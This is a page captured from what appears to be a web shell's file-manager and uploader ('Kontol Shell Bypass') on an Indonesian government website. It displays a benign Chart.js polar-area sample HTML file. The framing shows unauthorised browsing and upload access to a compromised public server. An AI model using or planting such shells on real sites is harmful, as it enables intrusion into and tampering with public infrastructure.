ikan Uploader :
Directory : /www/wwwroot/jdih.dprd.mukomukokab.go.id/vendor/bower-asset/chartjs/samples/scriptable/
Upload File : |
| Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/vendor/bower-asset/chartjs/samples/scriptable/polar.html |
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Scriptable > Polar Area | Chart.js sample</title>
<link rel="stylesheet" type="text/css" href="../style.css">
<script src="../../dist/Chart.min.js"></script>
<script src="../utils.js"></script>
</head>
<body>
<div class="content">
<div class="wrapper"><canvas id="chart-0"></canvas></div>
<div class="toolbar">
<button onclick="randomize()">Randomize</button>
<button onclick="addData()">Add Data</button>
<button onclick="removeData()">Remove Data</button>
</div>
</div>
<script>
var DATA_COUNT = 7;
var utils = Samples.utils;
utils.srand(110);
function colorize(opaque, hover, ctx) {
var v = ctx.dataset.data[ctx.dataIndex];
var c = v < 35 ? '#D60000'
: v < 55 ? '#F46300'
: v < 75 ? '#0358B6'
: '#44DE28';
var opacity = hover ? 1 - Math.abs(v / 150) - 0.2 : 1 - Math.abs(v / 150);
return opaque ? c : utils.transparentize(c, opacity);
}
function hoverColorize(ctx) {
return colorize(false, true, ctx);
}
function generateData() {
return utils.numbers({
count: DATA_COUNT,
min: 0,
max: 100
});
}
var data = {
datasets: [{
data: generateData(),
}]
};
var options = {
legend: false,
tooltips: false,
elements: {
arc: {
backgroundColor: colorize.bind(null, false, false),
hoverBackgroundColor: hoverColorize
}
}
};
var chart = new Chart('chart-0', {
type: 'polarArea',
data: data,
options: options
});
// eslint-disable-next-line no-unused-vars
function randomize() {
chart.data.datasets.forEach(function(dataset) {
dataset.data = generateData();
});
chart.update();
}
// eslint-disable-next-line no-unused-vars
var addData = function() {
var newData = Math.round(Math.random() * 100);
chart.data.datasets[0].data.push(newData);
chart.update();
};
// eslint-disable-next-line no-unused-vars
function removeData() {
chart.data.datasets[0].data.pop();
chart.update();
}
</script>
</body>
</html>
Kontol Shell Bypass